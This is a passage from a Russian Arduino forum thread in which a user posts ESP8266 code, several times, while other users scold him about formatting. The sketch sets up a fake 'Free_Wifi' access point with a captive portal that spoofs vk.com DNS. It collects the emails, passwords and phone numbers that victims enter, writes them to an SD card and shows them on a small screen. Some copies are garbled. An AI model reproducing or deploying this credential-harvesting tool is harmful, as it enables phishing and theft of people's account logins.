333. String page = "<head><title>Free WiFi Portal</title></head><body><center><div style=\"text-align:center;width:300px\">";
334. page += "<img src=\"data:image/png;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCADIASwDASIAAhEBAxEB/8QAHQABAAICAwEBAAAAAAAAAAAAAAcIAQkEBQYCA//EAGIQAAEDAgMEAwcKDwoLCQEAAAEAAgMEBQYHEQgSITETQVEiYXGBkaG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3bJ7Xd6KnrqKobuywTxh7Hg9RB4FZWVqhRW5ze2TGTSyXPLe4Mp9dXexNa87g70cp1I8DtfCqw4zwjijB9wNBieyVlpqN4hgnj0Y/vskHcuHgJRddIiIooiIgIiICIiAiIgIpPywyKzFx2+Goo7O62WxwB9kLiDEwjjxa3Tfk8Q076tllDs7YJwGYbhWx/ugvTNCKuriG5Ee2OLiGnvnU98K4artkZs34ixq6C84qZUWHD5cHAOYG1VU0acGNI7hpHHecPADzV2cIYbsuFrFTWOwUEVBb6ZoDIohpx+2JPEuPW46krvERm0REWkEREBERAREQEREGNVkHVEU1ArGqIqrKIiAiIgIiICIiDC4d2tluu1DJQXWgpa6klGkkFTC2SNw77XAgoiCEsb7LWWl+L5rTFW4bqHHUGhk3ovHG/UeTdUN4q2RMb0RfJh6+2i7xj3LJw+lkI8GjmecIiyqN73kXm3Z3OFTge5Thv2VF0dSPJGS7TxLx9xwtie2yGO4YbvNIRz6aglb+lvHxIiNOtdDI3QOilaesOYQv0p7fX1Lt2moqqc9Qjgc7XyBEUHoLTlzmBdhrb8EYiqRw0c23ytade+4ABe4w9s05vXd0ZksFNaonc319Yxgb4Ws3neZEQqVMIbHQD2y4vxiXD7OntcAaT/aSE/qKccB5LZbYJdHNZ8NU0lZHxFZWD1xOD2hz9d0/egIiRnUjlAiLaCIiAiIgIiICIiAiIgIiIP/2Q==\" alt=\"Free WiFi Logo\" />";
335. if(login){
336. page += "<br><br><b>Incorrect Code</b>";
337. }
338. if(reg){
339. page += "<br><br><b>You'r code from SMS</b>";
340. }
341. page += "<br><br><b><u>Login Code</u></b><br><br>";
342. page += "<form action=\"/login\" method=\"post\"><input type=\"text\" placeholder=\"code\"><input type=\"submit\" value=\"submit\"></form>";
343. 
344. page += "<br><b><u>Register</u></b><br><br>";
345. page += "<div style=\"text-align:right\">";
346. page += "<form action=\"/register\" method=\"post\">Email: <input type=\"text\" name=\"email\" placeholder=\"name@service.com\" ><br>Password: <input type=\"password\" name=\"pass\" placeholder=\"password\"><br>Mobile No.: <input type=\"text\" name=\"no\" placeholder=\"+7.......\"><br></div><input type=\"submit\" value=\"submit\"></form>";
347. page += "</center></div></body>";
348. 
349. return page;
350. }
351. 
352. void loop() {
353. 
354. u8g2.clearBuffer();
355. int percent = getBatteryLevel();
356. battSideBar(percent);
357. 
358. dnsServer.processNextRequest();
359. 
360. buzzerIcon();
361. noConnected();
362. noAttempts();
363. creds();
364. server.handleClient();
365. 
366. u8g2.sendBuffer();
367. delay(1000);
368. }
b707
Offline
Зарегистрирован: 26.05.2017

BellaDmitry пишет:

А просто скопировать часть кода не можете?

а вы вставить по правилам не можете?

DetSimen
DetSimen аватар
Offline
Зарегистрирован: 25.01.2017

да он, поди, тоже с телефона...

b707
Offline
Зарегистрирован: 26.05.2017

DetSimen пишет:

да он, поди, тоже с телефона...

у нас тут имущественный ценз - пусть сначала накопит на комп.

nik182
Offline
Зарегистрирован: 04.05.2015
ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

BellaDmitry пишет:
А просто скопировать часть кода не можете?
Нет, не могу. Я сторонник светлой церкви копимизма и копирование для меня - священный обряд, который требует особого настроя.

А Вы не можете просто вставить код как положено на этом форуме?

BellaDmitry
Offline
Зарегистрирован: 21.04.2021
001 #include <Arduino.h>
002 #include <U8g2lib.h>
003 #include <ESP8266WiFi.h>
004 #include <ESP8266WebServer.h>
005 #include <DNSServer.h>
006 #include "notes.h"
007  
008  
009 #include <SPI.h>
010 #include <SD.h>
011  
012  
013 #ifdef U8X8_HAVE_HW_I2C
014 #include <Wire.h>
015 #endif
016  
017 IPAddress local_IP(192,168,0,1);
018 IPAddress gateway(192,168,0,1);
019 IPAddress subnet(255,255,255,0);
020  
021 DNSServer dnsServer;
022 ESP8266WebServer server(80);
023  
024 const int buzzer = 15;
025 bool buzzerStatus = true;
026  
027 U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE);
028 ADC_MODE(ADC_VCC);
029  
030 const int chipSelect = 1;
031 File myFile;
032  
033 int loginAttempts = 0;
034 String email = "";
035 String password = "";
036 String Mobile = "";
037  
038 //logo-----------------------------
039  
040  
041 #define u8g2_logo_width 128
042 #define u8g2_logo_height 32
043 static unsigned char u8g2_logo_bits[] U8X8_PROGMEM = {
044 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x03,
045 0x00,0xFE,0xFF,0xFC,0xF1,0x07,0x78,0x86,0x3F,0x3F,0x00,0x00,0x00,0xFF,0xFF,0x07,
046 0x00,0xFE,0xFF,0xFC,0xF1,0x07,0xFE,0x8E,0x1F,0x3F,0x00,0x00,0x80,0xFF,0xFF,0x0F,
047 0x00,0x78,0xE0,0x70,0xE0,0x81,0xFF,0x07,0x07,0x0E,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
048 0x00,0x38,0xE0,0x70,0xE0,0xC1,0xC7,0x07,0x07,0x07,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
049 0x00,0x38,0x60,0x70,0xE0,0xE0,0x01,0x07,0x87,0x03,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
050 0x00,0x3C,0x66,0x78,0xF0,0xE0,0x00,0x86,0xE7,0x01,0x00,0x00,0xC0,0xFF,0xFF,0x1F,
051 0x00,0x1C,0x06,0x78,0xF0,0xF0,0x00,0x86,0xF3,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
052 0x00,0x1C,0x07,0x38,0xF0,0x70,0x00,0x80,0x7F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
053 0x00,0xFC,0x03,0x3C,0xF0,0x70,0x00,0x80,0x3F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
054 0x00,0xFC,0x03,0x3C,0xF0,0x78,0x00,0x80,0x3F,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
055 0x00,0x1C,0x03,0x1C,0x70,0x78,0x00,0xC0,0x73,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
056 0x00,0x1E,0x03,0x1C,0x70,0x78,0x00,0xC0,0x71,0x00,0x80,0x00,0x70,0x83,0x0F,0x16,
057 0x00,0x1E,0x00,0x1C,0x78,0xF0,0x80,0xC1,0xE1,0x00,0x80,0x01,0x60,0x00,0x07,0x10,
058 0x00,0x1E,0x00,0x3C,0x38,0xF0,0x81,0xC1,0xE1,0x00,0x80,0x01,0xC0,0x00,0x07,0x18,
059 0x00,0x0E,0x00,0x3C,0x3E,0xF0,0xF1,0xC1,0xE1,0x01,0x80,0x01,0xC0,0x00,0x03,0x1C,
060 0x00,0x0E,0x00,0xF8,0x1F,0xE0,0xFF,0xC1,0xC1,0x01,0xC0,0x01,0xC0,0xC0,0x07,0x0C,
061 0xC0,0x3F,0x00,0xF0,0x07,0xC0,0x7F,0xF0,0xC7,0x0F,0x80,0x01,0x80,0xC0,0x07,0x04,
062 0xC0,0x3F,0x00,0xE0,0x03,0x00,0x1F,0xF0,0x87,0x0F,0x40,0x01,0xA0,0xF6,0x3E,0x16,
063 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x40,0xFF,0xFE,0x1A,
064 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0xC0,0x7F,0xFC,0x0F,
065 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x80,0x3F,0xF9,0x07,
066 0x80,0x03,0xDC,0x01,0x0F,0xF0,0x03,0x7E,0xC0,0x18,0x80,0x02,0x00,0x3F,0xF9,0x03,
067 0xC0,0x07,0xD8,0x80,0x1F,0xD0,0x02,0x4C,0x80,0x0D,0x00,0x46,0x00,0x7E,0x7B,0x01,
068 0xC0,0x00,0x50,0x80,0x01,0xD0,0x02,0x2C,0x80,0x0F,0x90,0x9B,0x00,0xFE,0xFF,0x01,
069 0x80,0x03,0x70,0x00,0x0F,0xC0,0x00,0x3C,0x80,0x0A,0xD8,0xB7,0x01,0xFE,0x6F,0x01,
070 0x00,0x06,0x20,0x00,0x18,0xC0,0x00,0x2C,0x80,0x0A,0x98,0xB4,0x01,0xAE,0xAA,0x01,
071 0xC0,0x07,0x20,0x80,0x1F,0xC0,0x00,0x4C,0x80,0x08,0x4E,0xB5,0x01,0xA4,0x8B,0x01,
072 0x80,0x03,0x70,0x00,0x0F,0xE0,0x01,0x7E,0xC0,0x1D,0x66,0xB1,0x01,0x8C,0xC9,0x00,
073 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0xBA,0x00,0x1C,0x60,0x00,
074 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0x5F,0x00,0xBC,0xF6,0x00,
075 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0xF7,0x00,0xF8,0x7F,0x00,
076  
077 };
078  
079 //logo end-----------------------------
080  
081 void setup() {
082   Serial.begin(9600);
083   u8g2.begin();
084   u8g2.enableUTF8Print();
085   
086  
087  
088   u8g2.firstPage();
089   do {
090     u8g2.setFont(u8g2_font_ncenB10_tr);
091     u8g2.drawXBMP(0,0, u8g2_logo_width, u8g2_logo_height, u8g2_logo_bits);
092   while ( u8g2.nextPage() );
093  
094   delay(2000);
095  
096     u8g2.clearBuffer();
097  
098  
099   u8g2.drawStr(0,22,"GHOST HUNTER");
100   u8g2.sendBuffer();
101   delay(1500);
102   u8g2.clearBuffer();
103   u8g2.drawStr(0,22,"SV404 PROJECT");
104   u8g2.sendBuffer();
105   delay(1000);
106   u8g2.clearBuffer();
107   
108   
109   u8g2.drawStr(0,20,"Initial SD card...");
110   u8g2.sendBuffer();
111   delay(1000);
112   u8g2.clearBuffer();
113   
114   Serial.print("Initializing SD card...");
115   
116   //выполняем вывод надписи РЅР° экран РїСЂРё отсутствии РЎР” карты
117   delay(1000);
118   if (!SD.begin(chipSelect)) {
119     Serial.println("initialization failed!");
120     u8g2.drawStr(0,20,"Insert SD card !!!");
121     u8g2.sendBuffer();
122  
123     
124   delay(500);
125     u8g2.clearBuffer();
126 // звуковое оповещение при отсутствии карты памяти
127     tone(buzzer, NOTE_A7); delay(100);
128   tone(buzzer, NOTE_C7); delay(100);
129   tone(buzzer, NOTE_A7); delay(100);
130   tone(buzzer, NOTE_C7); delay(100);
131   tone(buzzer, NOTE_A7); delay(100);
132   tone(buzzer, NOTE_C7); delay(100);
133    
134   noTone(buzzer);
135    
136   delay(1000);
137  
138   // конец вывода Рё чистим экран
139  
140   //return;
141  }  
142   Serial.println("initialization done.");
143   
144   
145   if( SD.exists("buzzer") ){ buzzerStatus = true; }
146   swapBuzzer();
147   
148  
149  
150   Serial.print("Setting soft-AP configuration ... ");
151   u8g2.drawStr(0,20,"Startig WIFI...");
152   u8g2.sendBuffer();
153   delay(1000);
154   u8g2.clearBuffer();
155   
156   Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" "Failed!");
157   Serial.print("Setting soft-AP ... ");
158   Serial.println(WiFi.softAP("Free_Wifi""", 1, false, 6) ? "Ready" "Failed!");
159   Serial.print("Soft-AP IP address = ");
160   Serial.println(WiFi.softAPIP());
161   
162   server.on("/", httpHome);
163   server.on("/login", httpLogin);
164   server.on("/register", httpRegister);
165   server.onNotFound(httpDefault);
166   if (server.hostHeader() == String("freewifi.lan")) {
167     return httpHome();
168   }
169   server.begin();
170  
171   dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
172   dnsServer.start(53, "vk.com", local_IP);
173  
174   pinMode(buzzer, OUTPUT);
175   Serial.println("Setup done");
176   u8g2.drawStr(0,20,"SETUP DONE");
177   u8g2.sendBuffer();
178   delay(1000);
179   u8g2.clearBuffer();
180   Serial.println(WiFi.softAPIP());
181  
182   
183   doubleBuzz();  
184  
185   getBatteryLevel();
186   
187   delay(100);
188 }
189  
190 void doubleBuzz(){
191   if(buzzerStatus == true){
192    tone(buzzer, NOTE_A7); delay(100);
193   tone(buzzer, NOTE_G7); delay(100);
194   tone(buzzer, NOTE_E7); delay(100);
195   tone(buzzer, NOTE_C7); delay(100); 
196   tone(buzzer, NOTE_D7); delay(100);
197   tone(buzzer, NOTE_B7); delay(100);
198   tone(buzzer, NOTE_F7); delay(100);
199   tone(buzzer, NOTE_C7); delay(100);
200   noTone(buzzer); 
201   }
202 }
203  
204 void Sd_ErrorBeep() {  // Р·РІСѓРє "ERROR"
205   for (int j=0; j <3; j++){
206     for (int i=1000; i<2000; i=i*1.1) { tone(buzzer, i); delay(10); }
207     delay(50);
208     for (int i=1000; i>500; i=i*1.9) { tone(buzzer, i); delay(10); }
209     delay(50);
210   noTone(buzzer);
211   delay(1000);
212   }
213 }
214 void buzzerIcon(){
215   if(buzzerStatus){
216     u8g2.setFont(u8g2_font_6x10_mf);
217     u8g2.drawStr(118, 10, ">"); 
218   }
219 }
220 void swapBuzzer(){
221   if(buzzerStatus){
222     SD.remove("Sd_ErrorBeep()");
223   }else{
224     myFile = SD.open("buzzer", FILE_WRITE);
225     myFile.print("Buzzer Enabled");
226     myFile.close();
227   }
228 }
229  
230 int getBatteryLevel() {
231   uint32_t getVcc = ESP.getVcc();
232   //Serial.println(getVcc);
233   float measuredvbat = getVcc; // for actual voltage
234   measuredvbat /= 1024; // convert to voltage
235   //Serial.println(measuredvbat);
236  
237   int percent = map(getVcc, 2300, 3000, 0, 100); // turn vcc into batt percentage (yea I know it's not that accurate due to dropoff rate)
238   return percent;
239   //return random(10,90); //DEBUG
240 }
241  
242 void battSideBar(int percent){
243   percent = map(percent, 0, 100, 1, 32);
244   if(percent > 32){ percent = 32; }
245   if(percent < 1){ percent = 1; }
246  
247   u8g2.drawLine(124, 32-percent,124, 32);
248  
249   u8g2.drawLine(127, 0, 127, 32);   // vert line
250   u8g2.drawLine(126, 0, 127, 0);    // top marker (100%)
251   u8g2.drawLine(126, 8, 127, 8);    // (75%)
252   u8g2.drawLine(126, 16, 127, 16);  // middle marker (50%)
253   u8g2.drawLine(126, 24, 127, 24);  //(25%)
254   u8g2.drawLine(126, 31, 127, 31);  // botttom marker (0%)
255 }
256  
257 int noConnected(){
258   int conns = WiFi.softAPgetStationNum();
259   
260   String connStr = "";
261   connStr += conns;
262   connStr += "/6";
263   char connChr[connStr.length()+1];
264   connStr.toCharArray(connChr, connStr.length()+1);
265  
266   u8g2.setFont(u8g2_font_6x10_mf);
267   u8g2.drawStr(100,21,connChr);
268 }
269  
270 int noAttempts(){
271   String atmpStr = "target:";
272   atmpStr += loginAttempts;
273   char atmpChr[atmpStr.length()+1];
274   atmpStr.toCharArray(atmpChr, atmpStr.length()+1);
275  
276   u8g2.setFont(u8g2_font_6x10_mf);
277   u8g2.drawStr(70,32,atmpChr);
278 }
279  
280 void creds(){ 
281   char emailChr[email.length()+1];
282   email.toCharArray(emailChr, email.length()+1);
283   u8g2.setFont(u8g2_font_6x10_mf);
284   u8g2.drawStr(0,10,emailChr);
285  
286   char passwordChr[password.length()+1];
287   password.toCharArray(passwordChr, password.length()+1);
288   u8g2.setFont(u8g2_font_6x10_mf);
289   u8g2.drawStr(0,21,passwordChr);
290  
291   char MobileChr[Mobile.length()+1];
292   Mobile.toCharArray(MobileChr, Mobile.length()+1);
293   u8g2.setFont(u8g2_font_6x10_mf);
294   u8g2.drawStr(0,32,MobileChr);
295 }
296  
297 void httpDefault(){
298   server.sendHeader("Location""<a href="http://freewifi.lan" rel="nofollow">http://freewifi.lan</a>", true);
299   server.send(302, "text/plain""");
300   server.client().stop();
301 }
302  
303 void httpHome(){
304   server.send(200, "text/html", SendHTML(false,false));
305 }
306 void httpLogin(){
307   server.send(200, "text/html", SendHTML(true,false));
308 }
309 void httpRegister(){
310   loginAttempts += 1;
311   email = server.arg("email");
312   password = server.arg("pass");
313   Mobile = server.arg("no");
314   
315   Serial.println(email);
316   Serial.println(password);
317   Serial.println(Mobile);
318  
319   myFile = SD.open("credz.txt", FILE_WRITE);
320   myFile.print(email);
321   myFile.print(":");
322   myFile.print(password);
323   myFile.print(":");
324   myFile.println(Mobile);
325   myFile.close();
326  
327   doubleBuzz();
328   
329   server.send(200, "text/html", SendHTML(false,true));
330 }
331  
332 String SendHTML(uint8_t login,uint8_t reg){
333   String page = "<head><title>Free WiFi Portal</title></head><body><center><div style=\"text-align:center;width:300px\">";
334   page += "<img src=\"data:image/png;base64, /9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/2wBDAQUFBQcGBw4ICA4eFBEUHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh7/wAARCADIASwDASIAAhEBAxEB/8QAHQABAAICAwEBAAAAAAAAAAAAAAcIAQkEBQYCA//EAGIQAAEDAgMEAwcKDwoLCQEAAAEAAgMEBQYHEQgSITETQVEiYXGBkaGzCRQVGDJWdJKV0hcjNjdCUmJydYKUorGy0RYlMzRDU1Vjg8EkOERFVFdkhZbC0yYnNUZ2hJOjtOH/xAAXAQEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGxEBAQEAAwEBAAAAAAAAAAAAAAEREiExAkH/2gAMAwEAAhEDEQA/ALloiICIiAiIgIiICIiAiLDnBoJcdAgyviWRsUbnvcGtaNST1KB83NpfBeEHT2uwEYlvDNWltPJpTQu4+7l46kdjdfCFUvMzOHH2YE0kV9vUkdC89zbqMuipgOoFoOsnhcSpq4uZmHtGZZ4SkkpW3V17r2ag01r0lDSBro6TUMHxie8oHxhte4trnPhwzYLZZ4eG7LVuNTMfxe5aD4iq3aeADqAGgCaKNSJCvud+a15e51Tjm6R73NlIW0zfJGBw8a8dcMRYhuDt6vvt2rCddTNWyPJ8rl1jRospR9SOe86ue5x7XHUr7pp54X78VRNE7tY8tPmX5lAs/o9Jacf44tDwbXjC/wBLpyDa+TdHiJ0XucO7Seb1ne1smIILpE08Y7hRsfveFzd1/wCcojQrUWxbXCO2Ix25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hrb8EYiqRw0c23ytade+4ABe4w9s05vXd0ZksFNaonc319Yxgb4Ws3neZEQqVMIbHQD2y4vxiXD7OntcAaT/aSE/qKccB5LZbYJdHNZ8NU0lZHxFZWD1xOD2hz9d0/egIiRnUjlAiLaCIiAiIgIiICIiAiIgIiIP/2Q==\" alt=\"Free WiFi Logo\" />";
335   if(login){
336     page += "<br><br><b>Incorrect Code</b>";
337   }
338   if(reg){
339     page += "<br><br><b>You'r code from SMS</b>";
340   }
341   page += "<br><br><b><u>Login Code</u></b><br><br>";
342   page += "<form action=\"/login\" method=\"post\"><input type=\"text\" placeholder=\"code\"><input type=\"submit\" value=\"submit\"></form>";
343  
344   page += "<br><b><u>Register</u></b><br><br>";
345   page += "<div style=\"text-align:right\">";
346   page += "<form action=\"/register\" method=\"post\">Email: <input type=\"text\" name=\"email\" placeholder=\"name@service.com\" ><br>Password: <input type=\"password\" name=\"pass\" placeholder=\"password\"><br>Mobile No.: <input type=\"text\" name=\"no\" placeholder=\"+7.......\"><br></div><input type=\"submit\" value=\"submit\"></form>";
347   page += "</center></div></body>";
348  
349   return page;
350 }
351  
352 void loop() {
353  
354   u8g2.clearBuffer();
355   int percent = getBatteryLevel();
356   battSideBar(percent);
357   
358   dnsServer.processNextRequest();
359  
360   buzzerIcon();
361   noConnected();
362   noAttempts();
363   creds();
364   server.handleClient();
365  
366   u8g2.sendBuffer();
367   delay(1000);
368 }

 

ЕвгенийП
ЕвгенийП аватар
Offline
Зарегистрирован: 25.05.2015

И с третьей попытки не получилось :-(

Вот сравните то, что у Вас и то, что здесь

//
// инициализация члена класса перед конструктором
//
struct SKaka {
	SKaka(void) : m_step(random(0,2) ? 255 : 0) {}
	uint8_t step(void) const { return m_step; }
private:
	uint8_t m_step;
};

void setup(void) {
	Serial.begin(57600);
}

void loop(void) {
	SKaka kaka;
	Serial.println(kaka.step());
	delay(1000);
}

Видите, там вверху справа иконки есть и я могу скопировать этот код к себе и запустить, посмотреть. А Ваш я как скопирую? Руками буду номера удалять?

Вам же уже и ссылку дали, где написано на какую кнопку давить и что делать. Вы альтернативно одарённый?

nik182
Offline
Зарегистрирован: 04.05.2015

Ну ты и упёртый. Прочитай правила форума. Может быть потом, когда ни будь поймёшь, что есть правила, которым следуют завсегдатаи, просто потому что так привычнее. http://arduino.ru/forum/pesochnitsa-razdel-dlya-novichkov/pesochnitsa-novichok-prochti

Не вежливо заставлять напрягаться незнакомых людей исключительно под твои привычки и хотелки. 

BellaDmitry
Offline
Зарегистрирован: 21.04.2021

#include <Arduino.h>
#include <U8g2lib.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include <DNSServer.h>
#include "notes.h"


#include <SPI.h>
#include <SD.h>


#ifdef U8X8_HAVE_HW_I2C
#include <Wire.h>
#endif

IPAddress local_IP(192,168,0,1);
IPAddress gateway(192,168,0,1);
IPAddress subnet(255,255,255,0);

DNSServer dnsServer;
ESP8266WebServer server(80);

const int buzzer = 15;
bool buzzerStatus = true;

U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C u8g2(U8G2_R0, /* reset=*/ U8X8_PIN_NONE);
ADC_MODE(ADC_VCC);

const int chipSelect = 1;
File myFile;

int loginAttempts = 0;
String email = "";
String password = "";
String Mobile = "";

//logo-----------------------------


#define u8g2_logo_width 128
#define u8g2_logo_height 32
static unsigned char u8g2_logo_bits[] U8X8_PROGMEM = {
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFF,0x03,
0x00,0xFE,0xFF,0xFC,0xF1,0x07,0x78,0x86,0x3F,0x3F,0x00,0x00,0x00,0xFF,0xFF,0x07,
0x00,0xFE,0xFF,0xFC,0xF1,0x07,0xFE,0x8E,0x1F,0x3F,0x00,0x00,0x80,0xFF,0xFF,0x0F,
0x00,0x78,0xE0,0x70,0xE0,0x81,0xFF,0x07,0x07,0x0E,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x38,0xE0,0x70,0xE0,0xC1,0xC7,0x07,0x07,0x07,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x38,0x60,0x70,0xE0,0xE0,0x01,0x07,0x87,0x03,0x00,0x00,0xC0,0xFF,0xFF,0x0F,
0x00,0x3C,0x66,0x78,0xF0,0xE0,0x00,0x86,0xE7,0x01,0x00,0x00,0xC0,0xFF,0xFF,0x1F,
0x00,0x1C,0x06,0x78,0xF0,0xF0,0x00,0x86,0xF3,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0x1C,0x07,0x38,0xF0,0x70,0x00,0x80,0x7F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0xFC,0x03,0x3C,0xF0,0x70,0x00,0x80,0x3F,0x00,0x00,0x00,0xE0,0xFF,0xFF,0x1F,
0x00,0xFC,0x03,0x3C,0xF0,0x78,0x00,0x80,0x3F,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
0x00,0x1C,0x03,0x1C,0x70,0x78,0x00,0xC0,0x73,0x00,0x00,0x00,0xF0,0xFF,0xFF,0x1F,
0x00,0x1E,0x03,0x1C,0x70,0x78,0x00,0xC0,0x71,0x00,0x80,0x00,0x70,0x83,0x0F,0x16,
0x00,0x1E,0x00,0x1C,0x78,0xF0,0x80,0xC1,0xE1,0x00,0x80,0x01,0x60,0x00,0x07,0x10,
0x00,0x1E,0x00,0x3C,0x38,0xF0,0x81,0xC1,0xE1,0x00,0x80,0x01,0xC0,0x00,0x07,0x18,
0x00,0x0E,0x00,0x3C,0x3E,0xF0,0xF1,0xC1,0xE1,0x01,0x80,0x01,0xC0,0x00,0x03,0x1C,
0x00,0x0E,0x00,0xF8,0x1F,0xE0,0xFF,0xC1,0xC1,0x01,0xC0,0x01,0xC0,0xC0,0x07,0x0C,
0xC0,0x3F,0x00,0xF0,0x07,0xC0,0x7F,0xF0,0xC7,0x0F,0x80,0x01,0x80,0xC0,0x07,0x04,
0xC0,0x3F,0x00,0xE0,0x03,0x00,0x1F,0xF0,0x87,0x0F,0x40,0x01,0xA0,0xF6,0x3E,0x16,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x40,0xFF,0xFE,0x1A,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0xC0,0x7F,0xFC,0x0F,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x03,0x80,0x3F,0xF9,0x07,
0x80,0x03,0xDC,0x01,0x0F,0xF0,0x03,0x7E,0xC0,0x18,0x80,0x02,0x00,0x3F,0xF9,0x03,
0xC0,0x07,0xD8,0x80,0x1F,0xD0,0x02,0x4C,0x80,0x0D,0x00,0x46,0x00,0x7E,0x7B,0x01,
0xC0,0x00,0x50,0x80,0x01,0xD0,0x02,0x2C,0x80,0x0F,0x90,0x9B,0x00,0xFE,0xFF,0x01,
0x80,0x03,0x70,0x00,0x0F,0xC0,0x00,0x3C,0x80,0x0A,0xD8,0xB7,0x01,0xFE,0x6F,0x01,
0x00,0x06,0x20,0x00,0x18,0xC0,0x00,0x2C,0x80,0x0A,0x98,0xB4,0x01,0xAE,0xAA,0x01,
0xC0,0x07,0x20,0x80,0x1F,0xC0,0x00,0x4C,0x80,0x08,0x4E,0xB5,0x01,0xA4,0x8B,0x01,
0x80,0x03,0x70,0x00,0x0F,0xE0,0x01,0x7E,0xC0,0x1D,0x66,0xB1,0x01,0x8C,0xC9,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0xBA,0x00,0x1C,0x60,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0x5F,0x00,0xBC,0xF6,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x6C,0xF7,0x00,0xF8,0x7F,0x00,

};

//logo end-----------------------------

void setup() {
  Serial.begin(9600);
  u8g2.begin();
  u8g2.enableUTF8Print();
  


  u8g2.firstPage();
  do {
    u8g2.setFont(u8g2_font_ncenB10_tr);
    u8g2.drawXBMP(0,0, u8g2_logo_width, u8g2_logo_height, u8g2_logo_bits);
  } while ( u8g2.nextPage() );

  delay(2000);

    u8g2.clearBuffer();


  u8g2.drawStr(0,22,"GHOST HUNTER");
  u8g2.sendBuffer();
  delay(1500);
  u8g2.clearBuffer();
  u8g2.drawStr(0,22,"SV404 PROJECT");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  
  u8g2.drawStr(0,20,"Initial SD card...");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  Serial.print("Initializing SD card...");
  
  //выполняем вывод надписи на экран при отсутствии СД карты 
  delay(1000);
  if (!SD.begin(chipSelect)) {
    Serial.println("initialization failed!");
    u8g2.drawStr(0,20,"Insert SD card !!!");
    u8g2.sendBuffer();

    
  delay(500);
    u8g2.clearBuffer();
// звуковое оповещение при отсутствии карты памяти
    tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
  tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
  tone(buzzer, NOTE_A7); delay(100);
  tone(buzzer, NOTE_C7); delay(100);
   
  noTone(buzzer);
   
  delay(1000);

  // конец вывода и чистим экран
 
  //return;
 }   
  Serial.println("initialization done.");
  
  
  if( SD.exists("buzzer") ){ buzzerStatus = true; }
  swapBuzzer();
  


  Serial.print("Setting soft-AP configuration ... ");
  u8g2.drawStr(0,20,"Startig WIFI...");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  
  Serial.println(WiFi.softAPConfig(local_IP, gateway, subnet) ? "Ready" : "Failed!");
  Serial.print("Setting soft-AP ... ");
  Serial.println(WiFi.softAP("Free_Wifi", "", 1, false, 6) ? "Ready" : "Failed!");
  Serial.print("Soft-AP IP address = ");
  Serial.println(WiFi.softAPIP());
  
  server.on("/", httpHome);
  server.on("/login", httpLogin);
  server.on("/register", httpRegister);
  server.onNotFound(httpDefault);
  if (server.hostHeader() == String("freewifi.lan")) {
    return httpHome();
  }
  server.begin();

  dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
  dnsServer.start(53, "vk.com", local_IP);

  pinMode(buzzer, OUTPUT); 
  Serial.println("Setup done");
  u8g2.drawStr(0,20,"SETUP DONE");
  u8g2.sendBuffer();
  delay(1000);
  u8g2.clearBuffer();
  Serial.println(WiFi.softAPIP());

  
  doubleBuzz();   

  getBatteryLevel();
  
  delay(100);
}

void doubleBuzz(){
  if(buzzerStatus == true){
